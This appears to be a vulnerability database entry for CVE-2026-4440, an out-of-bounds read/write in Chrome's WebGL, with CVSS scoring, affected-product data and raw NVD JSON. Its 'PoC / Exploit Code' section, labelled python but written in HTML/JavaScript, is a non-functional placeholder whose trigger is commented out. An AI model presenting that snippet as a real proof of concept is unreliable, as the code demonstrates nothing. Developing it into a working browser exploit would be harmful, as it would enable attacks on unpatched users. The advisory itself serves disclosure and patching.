Security Vulnerability Report
中文
CVE-2026-4440 CVSS 8.8 HIGH

CVE-2026-4440

Published: 2026-03-20 02:16:37
Last Modified: 2026-03-20 19:27:13

Description

Out of bounds read and write in WebGL in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Critical)

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
Google Chrome < 146.0.7680.153

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-4440 --> <!-- This PoC demonstrates the trigger for the WebGL Out-of-Bounds Read/Write --> <html> <head> <title>CVE-2026-4440 PoC</title> </head> <body> <script> // Attempt to trigger the vulnerability in WebGL function trigger_oob() { var canvas = document.createElement('canvas'); var gl = canvas.getContext('webgl'); if (!gl) { console.log("WebGL not supported"); return; } // Create a buffer var buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Malicious parameters to trigger OOB // Note: Specific offsets/size depend on the exact bug logic var malicious_data = new Uint8Array(0x1000); gl.bufferData(gl.ARRAY_BUFFER, malicious_data, gl.DYNAMIC_DRAW); // Attempt to read/write out of bounds // This is a conceptual representation try { // Hypothetical trigger function // gl.vertexAttribPointer(0, 1, gl.FLOAT, false, 0x100000, 0); console.log("Attempting to trigger OOB access..."); // Actual exploitation requires specific shader manipulation } catch (e) { console.log("Exception caught: " + e); } } trigger_oob(); </script> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4440", "sourceIdentifier": "[email protected]", "published": "2026-03-20T02:16:36.520", "lastModified": "2026-03-20T19:27:12.970", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out of bounds read and write in WebGL in Google Chrome prior to 146.0.7680.153 allowed a remote attacker to perform arbitrary read/write via a crafted HTML page. (Chromium security severity: Critical)"}, {"lang": "es", "value": "Lectura y escritura fuera de límites en WebGL en Google Chrome anterior a 146.0.7680.153 permitió a un atacante remoto realizar lectura/escritura arbitraria a través de una página HTML manipulada. (Gravedad de seguridad de Chromium: Crítica)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "146.0.7680.153", "matchCriteriaId": "3526166A-E44B-47EE-8E47-1C1937CB2B87"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/03/stable-channel-update-for-desktop_18.html", "source": "[email protected]", "tags": ["Vendor Advisory", "Release Notes"]}, {"url": "https://issues.chromium.org/issues/485935305", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}